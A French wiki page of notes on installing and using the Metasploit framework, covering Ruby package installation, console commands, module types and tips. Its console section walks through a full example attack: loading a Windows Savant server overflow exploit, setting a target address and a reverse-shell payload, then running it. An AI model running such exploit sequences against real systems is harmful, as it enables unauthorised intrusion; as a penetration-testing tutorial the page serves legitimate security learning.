Metasploit

De Linuxmemo.

Sommaire 1 Installation 1.1 shell 1.2 search 2 Arborescence des modules 3 Nessus 4 Metasploit Community Edition 5 NeXpose 6 Astuces

Installation

apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems
apt-get install subversion
apt-get install build-essential ruby-dev libpcap-dev
apt-get install rubygems libmysqlclient-dev
support mysql:
apt-get install mysql-server
apt-get install rubygems libmysqlclient-dev
gem install mysql
apt-get install msgpack-python

shell

help, info, set, show et use.

show exploits
search 
use windows/http/savant_31_overflow
show options
set RHOST 192.168.1.5
show targets
set TARGET 0
show payloads
set PAYLOAD windows/shell/reverse_nonx_tcp
show options
exploit

show options Affiche la liste des options et valeurs courantes (celles spécifiées avec la commande set)

show exploits Affiche la liste des exploits

show targets Affiche la liste des cibles

show payloads Affiche la liste des payloads disponibles

show advanced Affiche les options avancées

search

search tag:keyword

tag: name, path, platform, type, app, author, cve, bid, osdvb.

search platform:Windows
search type:exploit
search author:hd
search app:client

Arborescence des modules

Auxiliary La version 3.0 supporte le concept de modules auxiliaires qui peuvent être utilisés afin d'exécuter des actions arbitraires telles que le scan de ports, le déni de services entre autres.

Encoder

Exploit Les modules "Exploit" sont les modules principaux dans Metasploit.

Nop Les modules NOP sont utilisés pour les instructions de type "no-operation" pour exploiter les débordements de buffers.

Payload Les charges utilies (Payload en anglais) sont des portions de code (shellcode) exécutées lorsque l'exploit réussi. Les charges utiles permettent d'assurrer la communication entre Metasploit et la victime.

• (voir meterpreter)

Nessus

load nessus

Metasploit Community Edition

http://www.rapid7.com/products/metasploit-community.jsp

NeXpose

http://www.rapid7.com/vulnerability-scanner.jsp

Astuces

• db_connect automatique:

1-creation de fichier de commandes "monfichier.rc"

2-chargement du fichier de commandes avec "resource"

msf > resource monfichier.rc
[*] Processing monfichier.rc for ERB directives.
resource (karma.rc)> db_connect msf3:PASSWORD@127.0.0.1:7175/msf3

• meterpeter derrière 2 routeurs nat:

• les données télécharger sont stockées dans ~/.msf4/nom_module

• l'historique des commandes est dans ~/.msf4/history

• problème avec pcaprub bien souvant non compilé sur le système:

cd /opt/framework3/msf3/external/pcaprub
ruby extconf.rb
make
make install